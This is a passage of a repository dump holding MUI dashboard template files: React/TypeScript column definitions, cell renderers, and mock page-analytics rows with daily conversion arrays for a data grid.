viewsPerUser: 2.5,\n    averageTime: '3m 35s',\n    conversions: [\n      25638, 28355, 42089, 53021, 66074, 80620, 97989, 118202, 142103, 166890,\n      193869, 225467, 264089, 307721, 358059, 417835, 488732, 573924, 674878, 794657,\n      938542, 1111291, 1313329, 1543835, 1812156, 2123349, 2484926, 2907023, 3399566,\n      3973545,\n    ],\n  },\n  {\n    id: 16,\n    pageTitle: 'Promotions - Seasonal Sales',\n    status: 'Online',\n    eventCount: 13423,\n    users: 54230,\n    viewsPerUser: 7.8,\n    averageTime: '2m 45s',\n    conversions: [\n      241732, 256384, 289465, 321423, 345672, 378294, 398472, 420364, 436278, 460192,\n      495374, 510283, 532489, 559672, 587312, 610982, 629385, 654732, 678925, 704362,\n      725182, 749384, 772361, 798234, 819472, 846291, 872183, 894673, 919283, 945672,\n    ],\n  },\n  {\n    id: 17,\n    pageTitle: 'Tutorials - How to Guides',\n    status: 'Offline',\n    eventCount: 4234,\n    users: 19342,\n    viewsPerUser: 5.2,\n    averageTime: '3m 05s',\n    conversions: [\n      12345, 14567, 16789, 18901, 21023, 23145, 25267, 27389, 29501, 31623, 33745,\n      35867, 37989, 40101, 42223, 44345, 46467, 48589, 50701, 52823, 54945, 57067,\n      59189, 61301, 63423, 65545, 67667, 69789, 71901, 74023,\n    ],\n  },\n  {\n    id: 18,\n    pageTitle: 'Blog Posts - Tech Insights',\n    status: 'Online',\n    eventCount: 8567,\n    users: 34234,\n    viewsPerUser: 6.3,\n    averageTime: '2m 50s',\n    conversions: [\n      23456, 25678, 27890, 30102, 32324, 34546, 36768, 38980, 41202, 43424, 45646,\n      47868, 50080, 52302, 54524, 56746, 58968, 61180, 63402, 65624, 67846, 70068,\n      72290, 74502, 76724, 78946, 81168, 83380, 85602, 87824,\n    ],\n  },\n  {\n    id: 19,\n    pageTitle: 'Events - Webinars',\n    status: 'Offline',\n    eventCount: 3456,\n    users: 19234,\n    viewsPerUser: 4.5,\n    averageTime: '3m 20s',\n    conversions: [\n      123456, 145678, 167890, 190012, 212324, 234546, 256768, 278980, 301202, 323424,\n      345646, 367868, 390080, 412302, 434524, 456746, 478968, 501180, 523402, 545624,\n      567846, 590068, 612290, 634502, 656724, 678946, 701168, 723380, 745602, 767824,\n    ],\n  },\n  {\n    id: 20,\n    pageTitle: 'Support - Contact Us',\n    status: 'Online',\n    eventCount: 6734,\n    users: 27645,\n    viewsPerUser: 3.9,\n    averageTime: '2m 55s',\n    conversions: [\n      234567, 256789, 278901, 301023, 323245, 345467, 367689, 389801, 412023, 434245,\n      456467, 478689, 500801, 523023, 545245, 567467, 589689, 611801, 634023, 656245,\n      678467, 700689, 722801, 745023, 767245, 789467, 811689, 833801, 856023, 878245,\n    ],\n  },\n  {\n    id: 21,\n    pageTitle: 'Case Studies - Success Stories',\n    status: 'Offline',\n    eventCount: 4567,\n    users: 19345,\n    viewsPerUser: 6.1,\n    averageTime: '3m 10s',\n    conversions: [\n      34567, 36789, 38901, 41023, 43145, 45267, 47389, 49501, 51623, 53745, 55867,\n      57989, 60101, 62223, 64345, 66467, 68589, 70701, 72823, 74945, 77067, 79189,\n      81301, 83423, 85545, 87667, 89789, 91901, 94023, 96145,\n    ],\n  },\n  {\n    id: 22,\n    pageTitle: 'News - Industry Updates',\n    status: 'Online',\n    eventCount: 7856,\n    users: 34567,\n    viewsPerUser: 5.7,\n    averageTime: '3m 05s',\n    conversions: [\n      45678, 47890, 50102, 52324, 54546, 56768, 58980, 61202, 63424, 65646, 67868,\n      70080, 72302, 74524, 76746, 78968, 81180, 83402, 85624, 87846, 90068, 92290,\n      94502, 96724, 98946, 101168, 103380, 105602, 107824, 110046,\n    ],\n  },\n  {\n    id: 23,\n    pageTitle: 'Forum - User Discussions',\n    status: 'Offline',\n    eventCount: 5678,\n    users: 23456,\n    viewsPerUser: 4.2,\n    averageTime: '2m 40s',\n    conversions: [\n      56789, 58901, 61023, 63145, 65267, 67389, 69501, 71623, 73745, 75867, 77989,\n      80101, 82223, 84345, 86467, 88589, 90701, 92823, 94945, 97067, 99189, 101301,\n      103423, 105545, 107667, 109789, 111901, 114023, 116145, 118267,\n    ],\n  },\n  {\n    id: 24,\n    pageTitle: 'Documentation - API Reference',\n    status: 'Online',\n    eventCount: 6789,\n    users: 27689,\n    viewsPerUser: 5.0,\n    averageTime: '3m 00s',\n    conversions: [\n      67890, 70102, 72324, 74546, 76768, 78980, 81202, 83424, 85646, 87868, 90080,\n      92302, 94524, 96746, 98968, 101180, 103402, 105624, 107846, 110068, 112290,\n      114502, 116724, 118946, 121168, 123380, 125602, 127824, 130046, 132268,\n    ],\n  },\n  {\n    id: 25,\n    pageTitle: 'Services - Consulting',\n    status: 'Offline',\n    eventCount: 4563,\n    users: 19240,\n    viewsPerUser: 6.4,\n    averageTime: '3m 25s',\n    conversions: [\n      345678, 367890, 390012, 412324, 434546, 456768, 478980, 501202, 523424, 545646,\n      567868, 590080, 612302, 634524, 656746, 678968, 701180, 723402, 745624, 767846,\n      790068, 812290, 834502, 856724, 878946, 901168, 923380, 945602, 967824, 990046,\n    ],\n  },\n  {\n    id: 26,\n    pageTitle: 'Feedback - User Reviews',\n    status: 'Online',\n    eventCount: 8564,\n    users: 34240,\n    viewsPerUser: 6.2,\n    averageTime: '3m 15s',\n    conversions: [\n      123478, 145690, 167912, 190134, 212356, 234578, 256790, 279012, 301234, 323456,\n      345678, 367890, 390012, 412234, 434456, 456678, 478890, 501012, 523234, 545456,\n      567678, 589890, 612012, 634234, 656456, 678678, 700890, 723012, 745234, 767456,\n    ],\n  },\n  {\n    id: 27,\n    pageTitle: 'Profiles - Team Members',\n    status: 'Offline',\n    eventCount: 5634,\n    users: 23423,\n    viewsPerUser: 5.5,\n    averageTime: '2m 45s',\n    conversions: [\n      345123, 367345, 389567, 411789, 434012, 456234, 478456, 500678, 522901, 545123,\n      567345, 589567, 611789, 634012, 656234, 678456, 700678, 722901, 745123, 767345,\n      789567, 811789, 834012, 856234, 878456, 900678, 922901, 945123, 967345, 989567,\n    ],\n  },\n  {\n    id: 28,\n    pageTitle: 'Notifications - Alerts',\n    status: 'Online',\n    eventCount: 6745,\n    users: 27654,\n    viewsPerUser: 4.9,\n    averageTime: '3m 10s',\n    conversions: [\n      456123, 478345, 500567, 522789, 545012, 567234, 589456, 611678, 633901, 656123,\n      678345, 700567, 722789, 745012, 767234, 789456, 811678, 833901, 856123, 878345,\n      900567, 922789, 945012, 967234, 989456, 1011678, 1033901, 1056123, 1078345,\n      1100567,\n    ],\n  },\n  {\n    id: 29,\n    pageTitle: 'Dashboard - Metrics',\n    status: 'Offline',\n    eventCount: 5678,\n    users: 23456,\n    viewsPerUser: 6.3,\n    averageTime: '2m 50s',\n    conversions: [\n      567890, 590112, 612334, 634556, 656778, 678990, 701212, 723434, 745656, 767878,\n      790100, 812322, 834544, 856766, 878988, 901210, 923432, 945654, 967876, 990098,\n      1012320, 1034542, 1056764, 1078986, 1101208, 1123430, 1145652, 1167874,\n      1190096, 1212318,\n    ],\n  },\n  {\n    id: 30,\n    pageTitle: 'Reports - Monthly Analysis',\n    status: 'Online',\n    eventCount: 7890,\n    users: 34567,\n    viewsPerUser: 5.9,\n    averageTime: '3m 20s',\n    conversions: [\n      678901, 701123, 723345, 745567, 767789, 790011, 812233, 834455, 856677, 878899,\n      901121, 923343, 945565, 967787, 990009, 1012231, 1034453, 1056675, 1078897,\n      1101119, 1123341, 1145563, 1167785, 1190007, 1212229, 1234451, 1256673,\n      1278895, 1301117, 1323339,\n    ],\n  },\n  {\n    id: 31,\n    pageTitle: 'Training - Employee Onboarding',\n    status: 'Offline',\n    eventCount: 3456,\n    users: 19234,\n    viewsPerUser: 6.1,\n    averageTime: '3m 10s',\n    conversions: [\n      789012, 811234, 833456, 855678, 877890, 900112, 922334, 944556, 966778, 989000,\n      1011222, 1033444, 1055666, 1077888, 1100110, 1122332, 1144554, 1166776,\n      1188998, 1211220, 1233442, 1255664, 1277886, 1300108, 1322330, 1344552,\n      1366774, 1388996, 1411218, 1433440,\n    ],\n  },\n  {\n    id: 32,\n    pageTitle: 'Resources - Knowledge Base',\n    status: 'Online',\n    eventCount: 5678,\n    users: 23456,\n    viewsPerUser: 4.7,\n    averageTime: '3m 25s',\n    conversions: [\n      890123, 912345, 934567, 956789, 979012, 1001234, 1023456, 1045678, 1067890,\n      1090123, 1112345, 1134567, 1156789, 1179012, 1201234, 1223456, 1245678,\n      1267890, 1290123, 1312345, 1334567, 1356789, 1379012, 1401234, 1423456,\n      1445678, 1467890, 1490123, 1512345, 1534567,\n    ],\n  },\n  {\n    id: 33,\n    pageTitle: 'Settings - Privacy Controls',\n    status: 'Offline',\n    eventCount: 6789,\n    users: 27689,\n    viewsPerUser: 5.8,\n    averageTime: '3m 05s',\n    conversions: [\n      901234, 923456, 945678, 967890, 990112, 1012334, 1034556, 1056778, 1079000,\n      1101222, 1123444, 1145666, 1167888, 1190110, 1212332, 1234554, 1256776,\n      1278998, 1301220, 1323442, 1345664, 1367886, 1390108, 1412330, 1434552,\n      1456774, 1478996, 1501218, 1523440, 1545662,\n    ],\n  },\n  {\n    id: 34,\n    pageTitle: 'Integrations - Third-Party Services',\n    status: 'Online',\n    eventCount: 4567,\n    users: 19345,\n    viewsPerUser: 4.4,\n    averageTime: '2m 50s',\n    conversions: [\n      123457, 145679, 167891, 190113, 212335, 234557, 256779, 279001, 301223, 323445,\n      345667, 367889, 390011, 412233, 434455, 456677, 478899, 501121, 523343, 545565,\n      567787, 590009, 612231, 634453, 656675, 678897, 701119, 723341, 745563, 767785,\n    ],\n  },\n  {\n    id: 35,\n    pageTitle: 'Account - Billing Information',\n    status: 'Offline',\n    eventCount: 7890,\n    users: 34567,\n    viewsPerUser: 5.4,\n    averageTime: '3m 00s',\n    conversions: [\n      234568, 256790, 278912, 301134, 323356, 345578, 367790, 390012, 412234, 434456,\n      456678, 478890, 501112, 523334, 545556, 567778, 590000, 612222, 634444, 656666,\n      678888, 701110, 723332, 745554, 767776, 789998, 812220, 834442, 856664, 878886,\n    ],\n  },\n];\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/internals/data/gridData.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Chip from '@mui/material/Chip';\nimport { GridCellParams, GridRowsProp, GridColDef } from '@mui/x-data-grid';\nimport { SparkLineChart } from '@mui/x-charts/SparkLineChart';\n\ntype SparkLineData = number[];\n\nfunction getDaysInMonth(month: number, year: number) {\n  const date = new Date(year, month, 0);\n  const monthName = date.toLocaleDateString('en-US', {\n    month: 'short',\n  });\n  const daysInMonth = date.getDate();\n  const days = [];\n  let i = 1;\n  while (days.length < daysInMonth) {\n    days.push(`${monthName} ${i}`);\n    i += 1;\n  }\n  return days;\n}\n\nfunction renderSparklineCell(params: GridCellParams<SparkLineData, any>) {\n  const data = getDaysInMonth(4, 2024);\n  const { value, colDef } = params;\n\n  if (!value || value.length === 0) {\n    return null;\n  }\n\n  return (\n    <div style={{ display: 'flex', alignItems: 'center', height: '100%' }}>\n      <SparkLineChart\n        data={value}\n        width={colDef.computedWidth || 100}\n        height={32}\n        plotType=\"bar\"\n        showHighlight\n        showTooltip\n        color=\"hsl(210, 98%, 42%)\"\n        xAxis={{\n          scaleType: 'band',\n          data,\n        }}\n      />\n    </div>\n  );\n}\n\nfunction renderStatus(status: 'Online' | 'Offline') {\n  const colors: { [index: string]: 'success' | 'default' } = {\n    Online: 'success',\n    Offline: 'default',\n  };\n\n  return <Chip label={status} color={colors[status]} size=\"small\" />;\n}\n\nexport function renderAvatar(\n  params: GridCellParams<{ name: string; color: string }, any, any>,\n) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return (\n    <Avatar\n      sx={{\n        backgroundColor: params.value.color,\n        width: '24px',\n        height: '24px',\n        fontSize: '0.85rem',\n      }}\n    >\n      {params.value.name.toUpperCase().substring(0, 1)}\n    </Avatar>\n  );\n}\n\nexport const columns: GridColDef[] = [\n  { field: 'pageTitle', headerName: 'Page Title', flex: 1.5, minWidth: 200 },\n  {\n    field: 'status',\n    headerName: 'Status',\n    flex: 0.5,\n    minWidth: 80,\n    renderCell: (params) => renderStatus(params.value as any),\n  },\n  {\n    field: 'users',\n    headerName: 'Users',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 80,\n  },\n  {\n    field: 'eventCount',\n    headerName: 'Event Count',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 100,\n  },\n  {\n    field: 'viewsPerUser',\n    headerName: 'Views per User',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 120,\n  },\n  {\n    field: 'averageTime',\n    headerName: 'Average Time',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 100,\n  },\n  {\n    field: 'conversions',\n    headerName: 'Daily Conversions',\n    flex: 1,\n    minWidth: 150,\n    renderCell: renderSparklineCell,\n  },\n];\n\nexport const rows: GridRowsProp = [\n  {\n    id: 1,\n    pageTitle: 'Homepage Overview',\n    status: 'Online',\n    eventCount: 8345,\n    users: 212423,\n    viewsPerUser: 18.5,\n    averageTime: '2m 15s',\n    conversions: [\n      469172, 488506, 592287, 617401, 640374, 632751, 668638, 807246, 749198, 944863,\n      911787, 844815, 992022, 1143838, 1446926, 1267886, 1362511, 1348746, 1560533,\n      1670690, 1695142, 1916613, 1823306, 1683646, 2025965, 2529989, 3263473,\n      3296541, 3041524, 2599497,\n    ],\n  },\n  {\n    id: 2,\n    pageTitle: 'Product Details - Gadgets',\n    status: 'Online',\n    eventCount: 5653,\n    users: 172240,\n    viewsPerUser: 9.7,\n    averageTime: '2m 30s',\n    conversions: [\n      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n      557488, 1341471, 2044561, 2206438,\n    ],\n  },\n  {\n    id: 3,\n    pageTitle: 'Checkout Process - Step 1',\n    status: 'Offline',\n    eventCount: 3455,\n    users: 58240,\n    viewsPerUser: 15.2,\n    averageTime: '2m 10s',\n    conversions: [\n      166896, 190041, 248686, 226746, 261744, 271890, 332176, 381123, 396435, 495620,\n      520278, 460839, 704158, 559134, 681089, 712384, 765381, 771374, 851314, 907947,\n      903675, 1049642, 1003160, 881573, 1072283, 1139115, 1382701, 1395655, 1355040,\n      1381571,\n    ],\n  },\n  {\n    id: 4,\n    pageTitle: 'User Profile Dashboard',\n    status: 'Online',\n    eventCount: 112543,\n    users: 96240,\n    viewsPerUser: 4.5,\n    averageTime: '2m 40s',\n    conversions: [\n      264651, 311845, 436558, 439385, 520413, 533380, 562363, 533793, 558029, 791126,\n      649082, 566792, 723451, 737827, 890859, 935554, 1044397, 1022973, 1129827,\n      1145309, 1195630, 1358925, 1373160, 1172679, 1340106, 1396974, 1623641,\n      1687545, 1581634, 1550291,\n    ],\n  },\n  {\n    id: 5,\n    pageTitle: 'Article Listing - Tech News',\n    status: 'Offline',\n    eventCount: 3653,\n    users: 142240,\n    viewsPerUser: 3.1,\n    averageTime: '2m 55s',\n    conversions: [\n      251871, 262216, 402383, 396459, 378793, 406720, 447538, 451451, 457111, 589821,\n      640744, 504879, 626099, 662007, 754576, 768231, 833019, 851537, 972306,\n      1014831, 1027570, 1189068, 1119099, 987244, 1197954, 1310721, 1480816, 1577547,\n      1854053, 1791831,\n    ],\n  },\n  {\n    id: 6,\n    pageTitle: 'FAQs - Customer Support',\n    status: 'Online',\n    eventCount: 106543,\n    users: 15240,\n    viewsPerUser: 7.2,\n    averageTime: '2m 20s',\n    conversions: [\n      13671, 16918, 27272, 34315, 42212, 56369, 64241, 77857, 70680, 91093, 108306,\n      94734, 132289, 133860, 147706, 158504, 192578, 207173, 220052, 233496, 250091,\n      285557, 268555, 259482, 274019, 321648, 359801, 399502, 447249, 497403,\n    ],\n  },\n  {\n    id: 7,\n    pageTitle: 'Product Comparison - Laptops',\n    status: 'Offline',\n    eventCount: 7853,\n    users: 32240,\n    viewsPerUser: 6.5,\n    averageTime: '2m 50s',\n    conversions: [\n      93682, 107901, 144919, 151769, 170804, 183736, 201752, 219792, 227887, 295382,\n      309600, 278050, 331964, 356826, 404896, 428090, 470245, 485582, 539056, 582112,\n      594289, 671915, 649510, 574911, 713843, 754965, 853020, 916793, 960158, 984265,\n    ],\n  },\n  {\n    id: 8,\n    pageTitle: 'Shopping Cart - Electronics',\n    status: 'Online',\n    eventCount: 8563,\n    users: 48240,\n    viewsPerUser: 4.3,\n    averageTime: '3m 10s',\n    conversions: [\n      52394, 63357, 82800, 105466, 128729, 144472, 172148, 197919, 212302, 278153,\n      290499, 249824, 317499, 333024, 388925, 410576, 462099, 488477, 533956, 572307,\n      591019, 681506, 653332, 581234, 719038, 783496, 911609, 973328, 1056071,\n      1112940,\n    ],\n  },\n  {\n    id: 9,\n    pageTitle: 'Payment Confirmation - Bank Transfer',\n    status: 'Offline',\n    eventCount: 4563,\n    users: 18240,\n    viewsPerUser: 2.7,\n    averageTime: '3m 25s',\n    conversions: [\n      15372, 16901, 25489, 30148, 40857, 51136, 64627, 75804, 89633, 100407, 114908,\n      129957, 143568, 158509, 174822, 192488, 211512, 234702, 258812, 284328, 310431,\n      338186, 366582, 396749, 428788, 462880, 499125, 537723, 578884, 622825,\n    ],\n  },\n  {\n    id: 10,\n    pageTitle: 'Product Reviews - Smartphones',\n    status: 'Online',\n    eventCount: 9863,\n    users: 28240,\n    viewsPerUser: 5.1,\n    averageTime: '3m 05s',\n    conversions: [\n      70211, 89234, 115676, 136021, 158744, 174682, 192890, 218073, 240926, 308190,\n      317552, 279834, 334072, 354955, 422153, 443911, 501486, 538091, 593724, 642882,\n      686539, 788615, 754813, 687955, 883645, 978347, 1142551, 1233074, 1278155,\n      1356724,\n    ],\n  },\n  {\n    id: 11,\n    pageTitle: 'Subscription Management - Services',\n    status: 'Offline',\n    eventCount: 6563,\n    users: 24240,\n    viewsPerUser: 4.8,\n    averageTime: '3m 15s',\n    conversions: [\n      49662, 58971, 78547, 93486, 108722, 124901, 146422, 167883, 189295, 230090,\n      249837, 217828, 266494, 287537, 339586, 363299, 412855, 440900, 490111, 536729,\n      580591, 671635, 655812, 576431, 741632, 819296, 971762, 1052605, 1099234,\n      1173591,\n    ],\n  },\n  {\n    id: 12,\n    pageTitle: 'Order Tracking - Shipments',\n    status: 'Online',\n    eventCount: 12353,\n    users: 38240,\n    viewsPerUser: 3.5,\n    averageTime: '3m 20s',\n    conversions: [\n      29589, 37965, 55800, 64672, 77995, 91126, 108203, 128900, 148232, 177159,\n      193489, 164471, 210765, 229977, 273802, 299381, 341092, 371567, 413812, 457693,\n      495920, 564785, 541022, 491680, 618096, 704926, 833365, 904313, 974622,\n      1036567,\n    ],\n  },\n  {\n    id: 13,\n    pageTitle: 'Customer Feedback - Surveys',\n    status: 'Offline',\n    eventCount: 5863,\n    users: 13240,\n    viewsPerUser: 2.3,\n    averageTime: '3m 30s',\n    conversions: [\n      8472, 9637, 14892, 19276, 23489, 28510, 33845, 39602, 45867, 52605, 59189,\n      65731, 76021, 85579, 96876, 108515, 119572, 131826, 145328, 160192, 176528,\n      196662, 217929, 239731, 262920, 289258, 315691, 342199, 370752, 402319,\n    ],\n  },\n  {\n    id: 14,\n    pageTitle: 'Account Settings - Preferences',\n    status: 'Online',\n    eventCount: 7853,\n    users: 18240,\n    viewsPerUser: 3.2,\n    averageTime: '3m 15s',\n    conversions: [\n      15792, 16948, 22728, 25491, 28412, 31268, 34241, 37857, 42068, 46893, 51098,\n      55734, 60780, 66421, 72680, 79584, 87233, 95711, 105285, 115814, 127509,\n      140260, 154086, 169495, 186445, 205109, 225580, 247983, 272484, 299280,\n    ],\n  },\n  {\n    id: 15,\n    pageTitle: 'Login Page - Authentication',\n    status: 'Offline',\n    eventCount: 9563,\n    users: 24240,\n    viewsPerUser: 2.5,\n    averageTime: '3m 35s',\n    conversions: [\n      25638, 28355, 42089, 53021, 66074, 80620, 97989, 118202, 142103, 166890,\n      193869, 225467, 264089, 307721, 358059, 417835, 488732, 573924, 674878, 794657,\n      938542, 1111291, 1313329, 1543835, 1812156, 2123349, 2484926, 2907023, 3399566,\n      3973545,\n    ],\n  },\n  {\n    id: 16,\n    pageTitle: 'Promotions - Seasonal Sales',\n    status: 'Online',\n    eventCount: 13423,\n    users: 54230,\n    viewsPerUser: 7.8,\n    averageTime: '2m 45s',\n    conversions: [\n      241732, 256384, 289465, 321423, 345672, 378294, 398472, 420364, 436278, 460192,\n      495374, 510283, 532489, 559672, 587312, 610982, 629385, 654732, 678925, 704362,\n      725182, 749384, 772361, 798234, 819472, 846291, 872183, 894673, 919283, 945672,\n    ],\n  },\n  {\n    id: 17,\n    pageTitle: 'Tutorials - How to Guides',\n    status: 'Offline',\n    eventCount: 4234,\n    users: 19342,\n    viewsPerUser: 5.2,\n    averageTime: '3m 05s',\n    conversions: [\n      12345, 14567, 16789, 18901, 21023, 23145, 25267, 27389, 29501, 31623, 33745,\n      35867, 37989, 40101, 42223, 44345, 46467, 48589, 50701, 52823, 54945, 57067,\n      59189, 61301, 63423, 65545, 67667, 69789, 71901, 74023,\n    ],\n  },\n  {\n    id: 18,\n    pageTitle: 'Blog Posts - Tech Insights',\n    status: 'Online',\n    eventCount: 8567,\n    users: 34234,\n    viewsPerUser: 6.3,\n    averageTime: '2m 50s',\n    conversions: [\n      23456, 25678, 27890, 30102, 32324, 34546, 36768, 38980, 41202, 43424, 45646,\n      47868, 50080, 52302, 54524, 56746, 58968, 61180, 63402, 65624, 67846, 70068,\n      72290, 74502, 76724, 78946, 81168, 83380, 85602, 87824,\n    ],\n  },\n  {\n    id: 19,\n    pageTitle: 'Events - Webinars',\n    status: 'Offline',\n    eventCount: 3456,\n    users: 19234,\n    viewsPerUser: 4.5,\n    averageTime: '3m 20s',\n    conversions: [\n      123456, 145678, 167890, 190012, 212324, 234546, 256768, 278980, 301202, 323424,\n      345646, 367868, 390080, 412302, 434524, 456746, 478968, 501180, 523402, 545624,\n      567846, 590068, 612290, 634502, 656724, 678946, 701168, 723380, 745602, 767824,\n    ],\n  },\n  {\n    id: 20,\n    pageTitle: 'Support - Contact Us',\n    status: 'Online',\n    eventCount: 6734,\n    users: 27645,\n    viewsPerUser: 3.9,\n    averageTime: '2m 55s',\n    conversions: [\n      234567, 256789, 278901, 301023, 323245, 345467, 367689, 389801, 412023, 434245,\n      456467, 478689, 500801, 523023, 545245, 567467, 589689, 611801, 634023, 656245,\n      678467, 700689, 722801, 745023, 767245, 789467, 811689, 833801, 856023, 878245,\n    ],\n  },\n  {\n    id: 21,\n    pageTitle: 'Case Studies - Success Stories',\n    status: 'Offline',\n    eventCount: 4567,\n    users: 19345,\n    viewsPerUser: 6.1,\n    averageTime: '3m 10s',\n    conversions: [\n      34567, 36789, 38901, 41023, 43145, 45267, 47389, 49501, 51623, 53745, 55867,\n      57989, 60101, 62223, 64345, 66467, 68589, 70701, 72823, 74945, 77067, 79189,\n      81301, 83423, 85545, 87667, 89789, 91901, 94023, 96145,\n    ],\n  },\n  {\n    id: 22,\n    pageTitle: 'News - Industry Updates',\n    status: 'Online',\n    eventCount: 7856,\n    users: 34567,\n    viewsPerUser: 5.7,\n    averageTime: '3m 05s',\n    conversions: [\n      45678, 47890, 50102, 52324, 54546, 56768, 58980, 61202, 63424, 65646, 67868,\n      70080, 72302, 74524, 76746, 78968, 81180, 83402, 85624, 87846, 90068, 92290,\n      94502, 96724, 98946, 101168, 103380, 105602, 107824, 110046,\n    ],\n  },\n  {\n    id: 23,\n    pageTitle: 'Forum - User Discussions',\n    status: 'Offline',\n    eventCount: 5678,\n    users: 23456,\n    viewsPerUser: 4.2,\n    averageTime: '2m 40s',\n    conversions: [\n      56789, 58901, 61023, 63145, 65267, 67389, 69501, 71623, 73745, 75867, 77989,\n      80101, 82223, 84345, 86467, 88589, 90701, 92823, 94945, 97067, 99189, 101301,\n      103423, 105545, 107667, 109789, 111901, 114023, 116145, 118267,\n    ],\n  },\n  {\n    id: 24,\n    pageTitle: 'Documentation - API Reference',\n    status: 'Online',\n    eventCount: 6789,\n    users: 27689,\n    viewsPerUser: 5.0,\n    averageTime: '3m 00s',\n    conversions: [\n      67890, 70102, 72324, 74546, 76768, 78980, 81202, 83424, 85646, 87868, 90080,\n      92302, 94524, 96746, 98968, 101180, 103402, 105624, 107846, 110068, 112290,\n      114502, 116724, 118946, 121168, 123380, 125602, 127824, 130046, 132268,\n    ],\n  },\n  {\n    id: 25,\n    pageTitle: 'Services - Consulting',\n    status: 'Offline',\n    eventCount: 4563,\n    users: 19240,\n    viewsPerUser: 6.4,\n    averageTime: '3m 25s',\n    conversions: [\n      345678, 367890, 390012, 412324, 434546, 456768, 478980, 501202, 523424, 545646,\n      567868, 590080, 612302, 634524, 656746, 678968, 701180, 723402, 745624, 767846,\n      790068, 812290, 834502, 856724, 878946, 901168, 923380, 945602, 967824, 990046,\n    ],\n  },\n  {\n    id: 26,\n    pageTitle: 'Feedback - User Reviews',\n    status: 'Online',\n    eventCount: 8564,\n    users: 34240,\n    viewsPerUser: 6.2,\n    averageTime: '3m 15s',\n    conversions: [\n      123478, 145690, 167912, 190134, 212356, 234578, 256790, 279012, 301234, 323456,\n      345678, 367890, 390012, 412234, 434456, 456678, 478890, 501012, 523234, 545456,\n      567678, 589890, 612012, 634234, 656456, 678678, 700890, 723012, 745234, 767456,\n    ],\n  },\n  {\n    id: 27,\n    pageTitle: 'Profiles - Team Members',\n    status: 'Offline',\n    eventCount: 5634,\n    users: 23423,\n    viewsPerUser: 5.5,\n    averageTime: '2m 45s',\n    conversions: [\n      345123, 367345, 389567, 411789, 434012, 456234, 478456, 500678, 522901, 545123,\n      567345, 589567, 611789, 634012, 656234, 678456, 700678, 722901, 745123, 767345,\n      789567, 811789, 834012, 856234, 878456, 900678, 922901, 945123, 967345, 989567,\n    ],\n  },\n  {\n    id: 28,\n    pageTitle: 'Notifications - Alerts',\n    status: 'Online',\n    eventCount: 6745,\n    users: 27654,\n    viewsPerUser: 4.9,\n    averageTime: '3m 10s',\n    conversions: [\n      456123, 478345, 500567, 522789, 545012, 567234, 589456, 611678, 633901, 656123,\n      678345, 700567, 722789, 745012, 767234, 789456, 811678, 833901, 856123, 878345,\n      900567, 922789, 945012, 967234, 989456, 1011678, 1033901, 1056123, 1078345,\n      1100567,\n    ],\n  },\n  {\n    id: 29,\n    pageTitle: 'Dashboard - Metrics',\n    status: 'Offline',\n    eventCount: 5678,\n    users: 23456,\n    viewsPerUser: 6.3,\n    averageTime: '2m 50s',\n    conversions: [\n      567890, 590112, 612334, 634556, 656778, 678990, 701212, 723434, 745656, 767878,\n      790100, 812322, 834544, 856766, 878988, 901210, 923432, 945654, 967876, 990098,\n      1012320, 1034542, 1056764, 1078986, 1101208, 1123430, 1145652, 1167874,\n      1190096, 1212318,\n    ],\n  },\n  {\n    id: 30,\n    pageTitle: 'Reports - Monthly Analysis',\n    status: 'Online',\n    eventCount: 7890,\n    users: 34567,\n    viewsPerUser: 5.9,\n    averageTime: '3m 20s',\n    conversions: [\n      678901, 701123, 723345, 745567, 767789, 790011, 812233, 834455, 856677, 878899,\n      901121, 923343, 945565, 967787, 990009, 1012231, 1034453, 1056675, 1078897,\n      1101119, 1123341, 1145563, 1167785, 1190007, 1212229, 1234451, 1256673,\n      1278895, 1301117, 1323339,\n    ],\n  },\n  {\n    id: 31,\n    pageTitle: 'Training - Employee Onboarding',\n    status: 'Offline',\n    eventCount: 3456,\n    users: 19234,\n    viewsPerUser: 6.1,\n    averageTime: '3m 10s',\n    conversions: [\n      789012, 811234, 833456, 855678, 877890, 900112, 922334, 944556, 966778, 989000,\n      1011222, 1033444, 1055666, 1077888, 1100110, 1122332, 1144554, 1166776,\n      1188998, 1211220, 1233442, 1255664, 1277886, 1300108, 1322330, 1344552,\n      1366774, 1388996, 1411218, 1433440,\n    ],\n  },\n  {\n    id: 32,\n    pageTitle: 'Resources - Knowledge Base',\n    status: 'Online',\n    eventCount: 5678,\n    users: 23456,\n    viewsPerUser: 4.7,\n    averageTime: '3m 25s',\n    conversions: [\n      890123, 912345, 934567, 956789, 979012, 1001234, 1023456, 1045678, 1067890,\n      1090123, 1112345, 1134567, 1156789, 1179012, 1201234, 1223456, 1245678,\n      1267890, 1290123, 1312345, 1334567, 1356789, 1379012, 1401234, 1423456,\n      1445678, 1467890, 1490123, 1512345, 1534567,\n    ],\n  },\n  {\n    id: 33,\n    pageTitle: 'Settings - Privacy Controls',\n    status: 'Offline',\n    eventCount: 6789,\n    users: 27689,\n    viewsPerUser: 5.8,\n    averageTime: '3m 05s',\n    conversions: [\n      901234, 923456, 945678, 967890, 990112, 1012334, 1034556, 1056778, 1079000,\n      1101222, 1123444, 1145666, 1167888, 1190110, 1212332, 1234554, 1256776,\n      1278998, 1301220, 1323442, 1345664, 1367886, 1390108, 1412330, 1434552,\n      1456774, 1478996, 1501218, 1523440, 1545662,\n    ],\n  },\n  {\n    id: 34,\n    pageTitle: 'Integrations - Third-Party Services',\n    status: 'Online',\n    eventCount: 4567,\n    users: 19345,\n    viewsPerUser: 4.4,\n    averageTime: '2m 50s',\n    conversions: [\n      123457, 145679, 167891, 190113, 212335, 234557, 256779, 279001, 301223, 323445,\n      345667, 367889, 390011, 412233, 434455, 456677, 478899, 501121, 523343, 545565,\n      567787, 590009, 612231, 634453, 656675, 678897, 701119, 723341, 745563, 767785,\n    ],\n  },\n  {\n    id: 35,\n    pageTitle: 'Account - Billing Information',\n    status: 'Offline',\n    eventCount: 7890,\n    users: 34567,\n    viewsPerUser: 5.4,\n    averageTime: '3m 00s',\n    conversions: [\n      234568, 256790, 278912, 301134, 